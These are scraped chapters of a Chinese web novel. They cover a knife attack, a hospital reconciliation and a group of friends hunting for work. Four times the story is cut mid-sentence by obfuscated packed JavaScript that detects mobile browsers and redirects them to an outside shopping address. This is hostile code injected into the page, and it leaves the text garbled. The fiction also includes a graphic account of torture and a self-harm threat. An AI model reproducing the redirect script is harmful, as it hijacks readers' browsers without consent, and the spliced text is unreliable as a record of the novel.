陈黑子接着往下说,“你不知道吧,当初你妈妈就是被我们几个人活活折磨而死的。可笑啊,你还天天跟我待一块儿,跟我学打斗,帮我办事,帮我拉帮结派。” “空山呐,可惜你没看到你妈妈死去时候的惨状啊,全身上下没有一处肌肤是完整的,我们用煤炭去灼烧她的肌肤,用宰肉的大刀去切她的手指脚趾,她就是那么嘴硬啊,一个字都不说。” “空山,你妈妈死的时候,断手断脚,连一具完整的尸身都没有。真惨。” 少年突然停下和陈黑子打斗的动作,松开踩住陈黑子肚子的脚,眼神变得阴鸷又可怕,唯独身上忽然失去了力气。 陈黑子趁机爬起来,捡起地上的刀子就要朝李空山刺过去。 李空山分心了。 陈黑子说的这些话,即便他努力控制自己不去听,可那些字眼还是汇入他的耳朵里,在他的眼前编织成一幅幅画面,画面里,她的妈妈孤立无援,鲜血淋漓。 “李空山!小心啊——” 待在一边的连翘把赵本奇砸晕,绑在承重柱边上,刚一回头,就看到陈黑子举起刀子冲向李空山。 而他只是在那儿站着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556697|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,六神无主,仿佛失去了魂,不知外面世界的动静。 连翘来不及想那么多,慌忙跑到就要靠近的两个人之间,挡在李空山前面。 陈黑子举着刀子冲向李空山的时候,他瞄准了李空山的心口处,那是致命的地方。 但是他的手不自觉地往旁边挪了点距离,直逼他的肩窝。 他没有犹豫,毅然刺下去,但由于连翘忽然冲出来,出现在李空山身前。 刀子刺入的也不再是李空山的肩窝,而是连翘的。 “尧尧——” 李空山瞳孔紧缩,回过神的他抱住连翘,没让她继续倒下去。 陈黑子见连翘中刀,没再继续动手,毕竟储存卡的线索也许就在她手中,他得留活口。 今日,怕是问不出什么,他们必须得先保住自己,再去想今后的对策。 况且外面都是警察的人,连翘和李空山进来已有十分钟,外面的人见情况不对,随时都有冲进来的可能。 陈黑子转身从里侧一间房钻出去,“邱炀,我们走。” 邱炀停下和孙阚平的纠缠打斗,跟上陈黑子时,看了眼被捆在承重柱边的赵本奇,“黑子哥,他怎么办?” “不管。” “好。” 李空山将连翘横抱而起,慌不择路跑下楼,他很乱,很害怕,仿佛抱住她的那双手都在颤抖。 这一刻,他不禁想起背着小海赶去医院的那一晚,熟悉的场景和事件又再次重现。 李空山害怕,他不想再失去生命中另一个重要的人了。 陈黑子用刀刺入连翘肩窝处靠近心口的地方,她感到伤口处传来剧烈阵痛,好像有很多血在往外流。 耳边传来慌乱的脚步声。 是谁在忐忑?是李空山吗? 昏昏沉沉间,连翘睁开眼,李空山那张别致俊逸的脸映入她的眼眸,只是他的额头满是细汗,眼中传来惊恐和害怕。 脚步匆匆。 手在抖。 连翘靠在李空山的怀里,心神安定。 遗失了多年的感觉,又重新回到了连翘这里。这种感觉是心安,是即便她拼命往上走、拥有的东西越来越多,可仍然无法给自己带来的心安。 原来,它悄悄跟着李空山走了,在外跌跌撞撞奔波很多年,终于再一次重新回到她的身边。 连翘虽感到痛,可却觉得自己并无遗憾,她伸出手,用尽所有力气,试图去碰李空山的下颌。 他,是真实存在的。 连翘望着他,目光中有期许,“李空山,你别怕啊……我没事的。” “刚认识你的时候,你有危险,我挡在你面前,是为了博得你的心软和动容,是在骗你。” “可是今天,我是真心实意地不想你有危险。” “……所以,他们刚刚说的那些,你别往心里去好不好?不是你身边的所有人都要骗你。以前的我会,但以后,绝对再也不会了。你那么好,我们都愿意……真心待你。” “别说话,你先别说话,”李空山快步往外面跑,紧张又害怕,“……尧尧,你不是说你不想再看到我吗,那你怎么又义无反顾冲到我面前替我挡刀?尧尧……你一定不会有事,等你好了,我一定找你算账。” 这是一笔迟到了多年的账。 “好……”连翘应声,缓缓笑着,终于敌不过意识的消散,慢慢闭上了眼。 “哥!在这儿!” 孟河朝李空山挥手,早在不久前,他就已经把车子开到山庄门口,这样,李空山一出来,就能接应他。 他抱着怀里的女孩窜入车内,声音急迫,“走最快的路,去医院!” 78. 第 78 章 医院的病房很安静。 李空山坐在病床旁边,一步也没离开。 连翘还没醒来,他坐在这儿守着,盯着她看,哪儿也不去。 他以为自己只要多看看她,看够了,把以前几年没看到的都补回来,他就舍得离开了。 可是他发现自己根本做不到,因为他永远看不够。 他看了这一眼,还想要看下一眼,希望眼里能永远有她,希望她的身影再也不会逃出这双眼睛,再也不会……一逃就是好多年。 病床上,女孩盖着蓝白条纹棉被,安安静静地躺着,呼吸均匀、平缓。 每当她有动静亦或是不知不觉掀开被子的时候,李空山就会变得格外紧张,全神贯注盯着她接下来的反应。 不过她只是翻个身,继续熟睡着,没有苏醒。 还好,没事就好。 李空山注视着她的脸,仿佛能从里面看到很多伤,很多泪。 其实,她这些年一个人,也过得很不容易,不是吗。 可是她偏偏就是这么要强,这么执着,一定要证明自己,一定要走出属于自己的路,让所有人折服。 她从来都不言放弃,所以她做到了。 那从此以后,是不是可以换他来保护,让她好好地松口气,不要再一直紧绷着,不要再不知道停歇。 李空山想着想着,轻轻地握住她露出来的手,她的手和李空山的手比起来,要小许多,手指纤细,冰冰凉凉的。 他不由自主地握紧,想要用自己手心的温度帮她暖暖手,驱赶冰凉。 李空山还发现连翘的脖子上戴着他上次在连翘住院时,悄悄放到她旁边的坠子。 坠子上挂着一朵小小的连翘花,已凝固,但颜色保存得很好,看上去如同才开始绽放。 所以,其实连翘从那个时候已经猜到,他已经来找过她了对吗。 李空山不禁扬起嘴角,静静地注视着眼前的女孩。 看在她还没有完全把自己遗忘的份上,他是不是可以考虑原谅连翘的不辞而别,原谅她这些年的了无音讯? 他想,等到连翘醒了以后,等到陈年往事的纠纷瓜葛都处理完毕,等到一切均已尘埃落定,他就好好地陪着连翘。 如果她想留在这里,他就陪她一起留下。 如果她想去别的地方看风景,他就陪她远走高飞。 只要是她想的,他都满足。 因为他想的很简单,不过是陪在她身边,守护她,诉说一场最长情的告白罢了。 在“各自为战”的这些年里,李空山经历过大起大落,经历过聚散离合,也看过繁华与渺茫的碰撞犹如隔世,一路走来,他知道自己最想要的是什么。 谈笑时有多少信誓旦旦和凌云壮志,按部就班生活时就有多少力不从心,纵然不甘,纵然狂妄骄傲,可生活终究是生活,平凡的生活。 想要的很简单,获得的幸福就很容易,决定一个人快不快乐的,从来都不是他拥有多少,而是他想要拥有多少。 他想和连翘有个小家,每个夜晚都能在彼此身边入睡,等到天气放晴的时候,就带她到沙滩边走走,捧一把海水,光着脚丫。 那时,笑容一定会悄无声息钻出来,即便脚上都是沙土也没关系。 要是她累了,就背着她回房间休息,她想有个依靠的肩膀的时候,他就站出来,骄傲地拍胸脯,说:“我在呢。” 病房窗户朝西,每当日落的时候,窗外云层总被渲染成一片片红磷,李空山抬头望见日暮,忽然意识到,这一天又要结束了。 可连翘呢? 他的连翘怎么还没醒来? 他揉揉惺忪的眼睛,试着去看清病床上的人儿,在他还没反应过来,为什么她不在了的时候,连翘从他身后走来,蒙住他的眼睛。 “猜猜我是谁!” 李空山笑了,像从前一样。 他伸出手去触碰连翘蒙住自己眼睛的手,无奈又充满耐心,“好了,尧尧,你以为我还像以前一样,猜不出来?” 连翘欢喜地绕到病床边坐好。 李空山要求她乖乖躺好,伤口没愈合,不能乱动。他伸出手,替她盖好被子,动作温柔又细心。 这是他难得的温柔一刻。 时间仿佛又回到好多年前,李空山坐在小镇出租屋的窗户前,埋头用刀削木头,正准备削一个小人偶送给连翘当礼物。 放学回来的连翘轻轻走到他身后。 阳光从窗户外面照进来,抵达连翘停下的脚前,不偏不倚。 她以为自己很轻,一点儿都没引起他的注意。 站定以后,迅疾地出手,蒙住他的眼睛,笑着把脑袋探到他耳边,摇头晃脑出生询问,“猜猜我今天有没有想你啊?” 李空山把她的手放开,左手撑在桌面,转身回头看她,“我猜——有。” 女孩身上淡淡的清香味萦绕着他。 连翘背着书包,连连摇头感叹,“呀,真可惜,猜错了,我没有哦。” 每当她说完这句话的时候,李空山就会回眸笑着瞪她,“看我怎么教训你。” 连翘立即跑开,笑着认错,“假的假的,我逗你呢。” 这样的情景总在那间小屋上演,数不清有多少次。 - “哥,醒醒……” 李空山在外面等了一整夜,坐在手术室外的凉椅上睡着了,是孟河率先把他叫醒的。 原来,刚刚的一切是个梦,在梦里,他又一次回到连翘放学的午后,两人在小屋里打闹,彼此陪伴着度过日日夜夜。 “现在情况怎么样?” 李空山站起来,看向病房。 “刚刚医生说情况已稳定,可以进去。” “好。” 李空山正要进去看看她,孟河把他拉住,“……哥,我知道你担心,但你也得好好休息,你一宿没睡了。” “我知道,放心。” 李空山拍拍孟河的肩,轻轻走进去,仿佛没有什么事是大不了的。 但孟河看得出来,李空山的背影很沉重,就好像有数不清的担子压在他肩膀。 - 病床上,连翘已经醒来。 她见李空山进来了,看他几眼,又默默把目光挪开。 李空山抽出凳子,在她旁边坐下。 连翘不知道应该先说什么,漫不经心盯着正前方的白墙,“……我还以为,我要死了,再也见不到你。” 李空山在凳子上静静坐着,垂下目光,陷入沉默,因她这句话,顿了下,重新看她。 “我不会允许。” 他已经没了生命中重要的两个人,他不允许再失去连翘。 连翘眼神躲闪,欲言又止,似乎有话想说,却不知道如何开口。 “李空山,对不起。” 连翘犹豫了很久,终于把这句话说出口。这句话,是她最想对李空山说的。这声对不起,她欠了很久。 她低下头,心中充满愧疚。 “……我当初一走了之,却不知道后来发生了那么多的事情,都是我不好……对不起……” 如果可以的话,她多想要小海和奶奶回来,这样,现在的李空山是不是就不会像现在一样看起来那么难过? 是不是就还能像以前一样,无所畏惧,没心没肺地快乐着? “没关系。” 他将身子往前倾,两手交叉合握,放在膝盖上,“……尧尧,都过去了。” 连翘偏头看他,眼里充斥着难过和心疼,“是,那些事情是过去了,可我知道,你心里的伤不会过去,那些伤还在,一直在。” “没有。” 李空山笑了,斩钉截铁否认,瞬间变得很无所谓。 好似拼了命地要证明,自己真的没事。 可是他越伪装,越容易暴露。 连翘是看得懂他眼里落寞的那个人。 她伸出手,这一次,是她主动握住李空山的手,坚决的,毅然决然的。 “我真的很抱歉……如果你要怪我,就尽管怪我,怎样报复我都行,我没有怨言的李空山,当初是我自私地把你留在那里,不管也不问……” “……尧尧,跟你没有关系,你也没有错。” 李空山叹口气,身子往后仰,整个人放松不少,只是看她的眼眸,一如从前炙热,情深。 “你还不懂吗?我会来找你,就说明我不怪你。尧尧,你从来都没有做错,你选择走好自己的路,怎么会是错?你是自由的,永远拥有为自己选择未来的权利。” 连翘犹豫,“那你不觉得,你好像是可有可无的,我不想要了,我就把你扔掉,我想要了,又回来找你?” 李空山盯着她,右手反握住她的手,斩钉截铁,眼神认真,“傻子才这么想。” 感情从来不是儿戏,而连翘呢,永远不会不在意李空山。 同样的,李空山也永远不会敷衍她。 连翘从李空山的眼眸里读懂了他的真意,她不禁笑了下,往身后的靠枕仰,拉长声音,“那这么说的话,我们的李空山岂不是个大聪明了?” “不然呢?”李空山也跟着她笑笑,“是你的,你一个人的。” 连翘被他这突如其来的一句话扰得心神不宁,心虚地看向别处,唯独不敢看他,生怕暴露自己此刻的心慌意乱。 为了掩饰自己,她随意找了个话问,“……你什么时候到榕城的,以后有什么打算?” “几年前,打算的话,等赵本奇和陈黑子被抓到以后再说,”李空山反问她,“你呢,关于以后,怎么想?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566800|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连翘有些愣住,还没从两件事之间衔接过来。 李空山上一句还在说“是她的”,怎么现在这一句又是在问她的以后怎么打算,难道不应该问他们两个人一起的以后? 除非,他还有别的意思,比如,刚刚那句“是你的”只是一句玩笑话。 她别开目光,“……你是想看到我又去过自己一个人的生活咯?” 李空山顿了下,后知后觉才反应过来,她这句话背后的意思是什么。 于是,他不禁一笑,目光里充满柔和。 “尧尧,你看看你脖子上挂的坠子上面有什么。” “上面有东西?” 连翘注意力转移,伸出手去拿起脖子上挂着的吊坠。 她举在半空中左右打量,话里带有迟疑,“……我好像……也没看到有什么啊……” 李空山气定神闲,轻轻笑着,注视她,“你再仔细看看。” 连翘更加仔细去看。 “哦!有了!” 她惊诧地感慨,“上面有字母,SD……Y……Y……W……N……A……” 她好奇地偏头去看他,试图寻找答案,“这是什么意思?” 李空山纠正她,“是A、N,不是N、A。” 看她这样子,估计想一天也想不出来能拼出什么,李空山直接告诉她。 “这句话连起来是在说——” “是的,尧尧,我爱你。” 李空山平和地注视她,而她偏着头,与他目光相碰撞。 连翘的眼神从诧异,变为呆怔,挪不开眼。 这句回答,是李空山好久以前就想给她的答案,现在告诉她,似乎也并不为时过晚。 一切都来得及。 她还在他的眼前,在他的身边。 连翘走的那天,他冒着大雨追了很久的车,那句未说出口话,其实不过是想说: ——等我。等我变得足够好,我一定去找你。 ——那个时候,你不会再想离开我;那个时候,我会让你在我身旁,那个时候,我们将不离不弃。 连翘缓了很久,才回过神,她轻轻开口,一如从前平和,镇定。 “李空山,你想知道我的答案吗?” “在我认定你,义无反顾要赖在你家不走的时候,就已经有答案了。” “我知道。” 他知道,是因为他明白那时的他即便放手了,即便她毅然决然地去走自己的路,但兜兜转转,相爱的人最终一定会回到彼此身旁。 不会走散。 李空山伸出手,抱住难过得快要落泪的连翘。 她不是因为沮丧而难过,只是因为无意中带给所珍视的人许多伤害,可他如今依旧待自己如初而难过。 她难过——明明是个早已水落石出的答案,可是自己却让他等了那么久,失落过那么多次。 这个世界上还会有如李空山一般,认定一个人,便永远用真心待对方的人吗? 连翘想,大概不会了。至少——这个世界上只有李空山,会待她一如从前般好。 分开的那些日子里,他也会在某个角落里,执拗地坐在门前,当着天上的月亮,默默思念。 - 李空山把连翘哄睡着,出门去买她喜欢喝的南瓜粥,等到她醒来就能看到。 他想,那时的她一定会很惊喜。 南瓜粥买好以后,李空山路过了孙阚平任职的警局,他想起自己的确还有件事没做。 就坐在大门口外面的台阶上等他。 左手提着热气腾腾的粥,小心翼翼护着,右脚踩在下一层台阶上,百无聊赖。 风吹起他的发梢和衣角。 仿佛多年前清流镇那道吹不走他悲伤的风,又吹了回来。 这一次,风惊喜地发现,少年虽然依然如从前执拗,但是他的眼角不再有泪痕。 他的心里还剩最后一个可以点亮他生命的人。 孙阚平到医院随便处理了下伤口就又回到警局工作,时间紧任务重,他们必须尽快将窜逃的邱炀和陈黑子捉拿归案。 以及,找到那份遗失的存储卡,里面放着拐卖团伙相关人员的所有证据和线索,至关重要。 孙阚平走出来的时候,发现门口有人坐着等他。 他走了过去,目光聚集在李空山左手边的南瓜粥上,“给我的啊?” “你想得美。” 李空山把南瓜粥挪远点儿,不让孙阚平打主意。 “那你找我什么事?没事的话,我可走了。”见李空山那么小气,孙阚平提脚就要走。 李空山望着眼前的车道,伸出右手拦他。 手里捏着一张指甲盖大小的卡 ——“你们要找的东西,在我这里。” 79. 第 79 章 处理完奶奶和小海的后事之后,李空山曾一度把自己关在乡间奶奶住的房间里,哪儿也不去,谁也不见。 透过屋外窗户。 许弋刚和孟河清楚地看见少年背对着窗,一个人坐僵硬地坐在老式衣柜边,目光呆滞地盯着那张空空如也的架子床。 他的眼前再也没了往日里躺在木架床上听他谈天说地、吹嘘本事的奶奶,而他心里还住着的另外三两人,也离他远去。 他的背影是难过的、哀伤的。 孟河锁紧眉头,一脸担忧,“……咱不能让他再继续这样下去,人不得出问题?” 终于下了决定,孟河斩钉截铁,把裤兜里的仅有的几百块钱掏出来,塞到旁边的许弋刚手里,信誓旦旦,“刚子,咱俩去找连翘吧!把她找回来,说不定咱哥看到她又回来了,就不会这么难过。” “至少……还有她在。” “不许去!咱们谁都不许去!” 许弋刚把孟河拉回来,有些生气,“她要走就让她走去,他当初对她一心一意,就当他瞎了眼,正好让他长长记性,以后不要轻易把真心交付给一个认识不过一阵儿的人。” 他又转身,瞪大眼睛,看着孟河,“咱是得让他走出来,但不需要任何人的援手,只有他自己能让他从这些打击里重新振作。” 孟河急了,甩开许弋刚按住自己肩膀的手,“那我也想啊——可是你看哥都这样几天了,他要是自己能走出来,至于把自己关在那屋子里不出来吗!” “他要还是我认识的李空山,就永远不会这样。”许弋刚看向那扇窗户,目光惆怅。 小路外,绍兴雨带着另外三个人来到奶奶屋前院坝。 前阵子,绍兴雨去邻省看望父母,前一天晚上才回来。 而他刚回来,就相继听到了关于小海和奶奶的噩耗,以及被抓走的楼巩的事儿。 “刚子……河孟孟……你们……” 绍兴雨和其余三人朝他们走来。他欲言又止,语气都变得犹豫。 “按照哥的吩咐,我们把安家费都给其他兄弟,打发他们走了。愿意走的都劝走,现在,还有我们几个。” 许弋刚看向站在绍兴雨旁边的人,他们身形很瘦削,平日里来往不算密切,只有点依稀印象。 他问他们,“你们怎么还不走?” 其中一人回答,“我们不会走的。当初我们也是无依无靠,无父无母的待在清流镇混天度日,是哥他告诉我们要好好做人,做正经事,带着我们去靠双手挣钱,有危险有困难他第一个冲在我们前面,如今他遇到难关,我们更不可能抛下他。” “好……” 二话不说,许弋刚拉着他们就走了进去,闯入李空山把自己关注的房间。 屋子里没有开灯,光线有些暗,李空山坐在阴暗处,阴影落在他的脸侧。 过了许久,他才抬起沉重的目光,看向站在门口不再有所动静的几人,“你们怎么进来了?有事?” “没事。但我们觉得你有事,很大的事。” 许弋刚往前走了几步,站在屋子中央,“哥,你能不能振作一点儿,别再这样没精打采了,我们不想看到你这样!不是你说的吗,人活着就还有希望,有希望,就不能服输。” 李空山背靠着墙,坐在木凳子上,语气寡淡,轻描淡写笑了,无所谓说:“是吗?我什么时候说过这句话,我怎么不记得。” 许弋刚向来是有话不能憋在心里,他又继续往前走,停在李空山面前,抬高声音,“哥——这样郁郁不振的你,不是我认识的那个李空山!你好好看看,看看他们——” 许弋刚侧身,指着身后的孟河、绍兴雨等人,“他们不管你落魄还是风光,从来都对你不离不弃,你呢?你难道就要一直这样郁郁寡欢,让他们看着着急,没日没夜地担心你吗?” 李空山闭上眼睛想了下,似乎脑袋很沉重,最后,他又抬起目光,看向眼前的众人,“我不是说让你们走吗?自己找事情做去。跟着我,一没自由,二没前途,三没本事,你们是不是傻。” 孟河担忧皱眉,声音落寞哀伤,“……哥,你别这么说,不要把你自己说得那么难堪没用行不行……我们拿你当哥,你就是我们心中最好的人……” 绍兴雨的目光里也皆是心疼。 许弋刚难过又愤恨,他忍着心里的不舍和伤心,高声大喊,“是——我们是可以走,谁都不管你,可是我们有谁这么做了吗?我们都没有。为什么?因为我们不想!我们想要的——不过是你快点振作起来,不要再像如今这个样子,活着跟死了还有什么区别!” 李空山叹息一声,垂下眼眸,盯着光秃秃的地面,没再吭声。 似乎有很多烦恼和愁绪等着他,但他一点儿都不愿去想,他希望活在一个没有难过和烦恼的世界里,这样多好。 许弋刚二话不说,从旁边的抽屉里拿出一把小刀,对准自己的手臂,看着李空山,“你还拿不拿我们当兄弟?你要还拿我们当兄弟,你就振作起来!今天走出这间屋子,好好开始接下来的生活!” “不就是一点儿磨难吗,有什么大不了的,我认识的李空山,天不怕地不怕,什么东西都不能把他打倒!” 李空山的眼眸中,那摊死水似乎有了波澜,他皱着眉,盯着许弋刚,命令道:“把刀放下。” “你今天要不走出这扇门,与过去告别,我就不放!” 孟河和绍兴雨等人虽对许弋刚这样冲动的行为有些意外,可许弋刚想看到的,也是他们想看到的。 他们都想要李空山好好的,不要再把他自己困在悲痛和郁郁寡欢中。 见李空山还是背靠着墙坐,没有反应,许弋刚冲动的劲儿抵达顶峰,握紧刀子就要朝自己的手割下去。 他盯着自己的手,做好一切准备,什么都不怕,唯独怕李空山失去了自己。 “给我把刀放下!” 李空山倏忽站起,走到他身前,他那双手握住许弋刚就要割下去的刀刃,一眼不眨盯着许弋刚。 他的手掌被割出划痕,开始冒血。 许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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绍兴雨兴奋地指着对面公园门口长椅上,正在打盹的流浪汉,“欸——你们看!咱们可以和他一样,睡大街!” “呃……” 许弋刚和孟河等人朝对面公园看去,不约而同陷入沉思,纷纷沉默,无言以对。 “别担心。” 李空山站在他们中间,“你们别忘了,咱们还剩下最后一百多块钱,可以今晚去找个便宜的旅馆住,明天出去找找活,暂时应付。” 绍兴雨立刻变得希望满满,抱紧李空山的手臂,“哥啊——还是你让人安心!” 许弋刚拉住孟河在几人身后窃窃私语,“你说,我真就想不明白了,哥咋就那么傻呢,人都要走了,还把所有的积蓄都偷偷塞给那人当学费,现在好了吧,自己穷得响叮当。” “这叫啥来着?什么脑?” 孟河不假思索:“恋爱脑。” 许弋刚恍然大悟,“哦!对,就是恋爱脑!” 80. 第 80 章 第二天,烈阳高照。 今日最高气温达到三十四摄氏度。 但即便天气这么热,李空山几个人还是要出门去找活。 现在他们一共六个人,为了提高效率,他们决定分开行动,分头找活。 于是,他们各自沿着不同的方向,沿街寻觅能有活干的地方。 没办法,当初不爱学习,只知道三天两头逃学,跑出去鬼混,现在就得吃没学历的苦。 第一个发现有地方招人的,是绍兴雨。 他沿街走,每一家店都进去,问老板招不招人。 被拒绝了多次以后,绍兴雨终于在一家理发店外捕捉到了招聘字眼的海报。 他变得欣喜,迫不及待推开玻璃门走进去,“老板!老板!你好!我想问问你这正在招人是吗!” 正在给一位妇人洗头的男人看向绍兴雨,从头到尾打量他——年轻,瘦,那张脸上此刻甚至相当眉飞色舞。 老板挑了下眉,“你要来应聘?以前在理发店干过没?烫染拉洗剪吹,擅长几样呐?” 绍兴雨满眼期待往前面走了几步,像个雀跃的小孩,“一样都不会!但是我可以学!” “一样都不会?”老板没想到会是这个回答,有些匪夷所思,“啥都不会,你怎么保证你能学好。” “用心啊!”绍兴雨绕开椅子,走到理发店老板身后,“我哥说了,只要用心,不会有学不会的事情,除非那人是智商发育不全的傻子。” 老板见绍兴雨这态度也还算积极,倒是有些欣赏,“那你可得听好,学习期间包吃包住,工资减半,考察期两个月,得行不?” “也……还行……”绍兴雨想了想,“那我把人叫过来,今天就可以上岗。” “叫人?干哈子哦?” 老板手中的动作慢了些,疑惑地看他。 “应聘的嘛,我那儿有六个人,我们一起的。” “……” “……” 理发店老板陷入了很长一段时间的沉默。 - “你一边去,别妨碍我做生意。” 老板把绍兴雨赶出来,紧闭玻璃门。 绍兴雨不屑,“干嘛呢,真的是,自己不说清楚招几个人,反倒怪我咯?切——” 这里不留他们,自有留他们的地方,绍兴雨想,他还看不上呢! - 在绍兴雨之后,发现有地方招人的,是孟河。 这是一家炒菜馆。 不过端菜的、炒菜的都已经满员,目前炒菜馆只差洗碗工。 虽然吧……这洗碗工听上去是不怎样,可是眼下,填饱肚子,找个落脚点,才是最要紧的。 风不风光,在温饱面前,早就已经变得无足轻重。 在人数上,孟河比起绍兴雨,倒是要明智些。 炒菜馆老板说只招两个人。 两个就两个,总比没有好,其他地方的活再凑凑,最后六个人应该都能有着落。 炒菜馆老板看孟河一个大男人还跑来洗碗,有些不放心,提出要试用一天。 如果合格的话,就留下,不合格的话,就得走人。 孟河想也不想,爽快答应。 后厨洗碗的都是些女工,丈夫在外干活,自己一边带孩子,一边出来挣点儿钱。 孟河蹲在后厨水盆前洗碗,与周围的女工比起来,倒还真是一道别致的风景线。 不过他才不在意这些呢,脚踏实地做事,才是最重要的,才是真本事。 这些——李空山以前老给他说。 不过,孟河的试用之旅也并不太顺利。 在充满干劲洗碗的间隙里,后厨里突然跑来一个小男孩,他哭着闹着要去找妈妈。 孟河把手擦干,疑惑站起来,蹲在他面前,难得温柔地说话,“小朋友,你妈妈在哪里呀?” 男孩哭得越来越厉害,没有回答小男孩的问题,于是,孟河只好暂时放下手里的活,牵着小男孩往用餐区走去。 兴许,他的妈妈只是去上厕所,马上就回来。 不过,刚一出来,孟河就看到有人在偷偷摸摸地行窃,撑着顾客用餐没注意,悄咪咪地去摸她放在长板凳上的钱包。 “喂——你干什么呢!把东西放下!” 孟河二话不说,指着小偷就冲过去,小偷一晃,拿起钱包就跑,溜进了后厨,想要从后厨的后门逃走。 孟河追了上去,小偷在后厨跑,撞倒不少刚刚清洗干净的碗。 再加上以前干架,孟河他们都习惯拿起手边的东西就跟对面打起来,孟河手边只有碗。 他才没想那么多,拿起碗就朝小偷脚下甩过去,恐吓他,吓得他赶紧往另一边撤。 于是,孟河有了机会追上去牵制住小偷。 钱包差点被偷走的女顾客倒是感谢了孟河。 但——炒菜馆的老板可就不一样了,“你把我的碗摔烂了五十多个!全部都给我赔起!还有这活!你也别干了!” 老板暴怒,扯开孟河系在身上的围裙。 孟河惭愧,低着头,一言不发,活没能找到,反倒赔了不少,他落败又自责。 不知如何面对其他人。 - 许弋刚也找到了活,是在工地。 工地上的钱按小时结算,干完了就能拿到钱,许弋刚认为,这整得还挺好。 反正他一身蛮力无处使,正好用在这儿。 没有手艺,他只能做些基础的活儿,比如搬砖、运水泥河沙、给钢筋卸货…… 虽然累了点儿,但挣来的钱是实实在在的。 烈日高照,室外劳作,没有建筑无遮挡,许弋刚大汗淋漓,背上的衣服全湿了,粘在后背。 但他没有怨言。 因为李空山以前要给他们送生日礼物的时候,也是靠在这样的方式,在工地上做苦力,才挣到钱去给他们买东西的。 以前,他以为这事儿很简单,现在,许弋刚才明白,原来工地上的活这么累,这么辛苦。 但作为几个人里面脾气做火爆的,许弋刚的这一天可不见得有多顺利。 工地上有人起冲突,他凑过去看热闹,结果被起冲突的人误伤,扇了一巴掌。 他顿时瞪大眼睛,难以置信,说什么也要报复回去。 结果,他就这样加入了另外两人的厮打,二人纷争变为三人纷争。 最后,是李空山去派出所把他领回去的。 许弋刚今天留着大汗水挣到的辛苦钱,全被用来当作医药费赔给了对方。 “我……” 李空山走在前面,许弋刚走在后面,他低着头,看看李空山的背影,欲言又止。 羞愧之情难以言表。 其他人找活,同样也不顺畅,想要找到一个能多找点儿人的,实在太不容易。 李空山让许弋刚先回旅馆,自己再在外面转转,碰碰运气。 被赶出来的孟河、绍兴雨等人也相继回到旅馆。 脸上缠着纱布的许弋刚郁闷地坐在窗前,怎么都想不通,他看着窗外,发出疑问:“我还真就想不明白了,这城市的日子怎么这么不好过呢!还是以前在清流镇好啊,随便收收债,吓唬吓唬人,就能有钱赚。” “得了吧,”绍兴雨手枕在身后,仰躺在床上,同样望着天花板叹息,“那样不好,是不对的,咱们还是得干踏踏实实的活,挣来的钱才能让人心安。” “就你?” 许弋刚回头,看向绍兴雨,日子已经够苦了,眼下唯一的乐趣就是打趣自己的兄弟。 他笑笑说,“你看你都被赶回来了,少来,多没用啊。” 绍兴雨“唷”了一声,愤愤不平,“咋的,你再看看你,你也比我好不到哪儿去好吧,甚至你脸上还有战、利、品!!略——” 许弋刚生气,站起来对绍兴雨指指点点。 绍兴雨一脸嘚瑟,“你有本事就打我呀,到时候,我要给哥告状!” 许弋刚拿他没有办法,气鼓鼓地重新坐下。 - 室外温度依旧很高,所有建筑暴露在烈日之下,经过几个小时的暴晒,温度能灼烧皮肤。 李空山经过一栋大厦时,正好听见门口的安保在议论纷纷,原来是在外面停车场站岗的老张受不了这太阳的暴晒,借着闹肚子的名义,跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583999|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到厕所里躲起来了。 巡查的经理发现哨台没人,大为震怒,直接让老张罢工。 但眼下,站岗的位子空了,找不着人。 毕竟这么热的天,又得站在太阳底下暴晒,还得保持庄严,不能乱动,换做谁都受不了。 李空山没想那么多,听说有地方在招人,对他来说就已经是个很大的惊喜了。 他直接走过去,问饭后闲聊的两个男人,“你们刚刚说的这活还在招人吗?我可以。” - 岗台上有了新的人。 少年换上安保的工作服,站得笔直,原本他个子就高,顶着太阳的暴晒,他依旧一动不动,神情庄严而肃穆。 这得益于他们从前在清流镇时,长期都坚持体能训练。 会格斗,眼神里有股狠劲儿。 李空山从不怨天尤人,他知道,所有的伤口都会在黎明破晓时开出繁花。 就这样干了一天,在太阳下持续站了几个小时,李空山如约拿到了工钱。 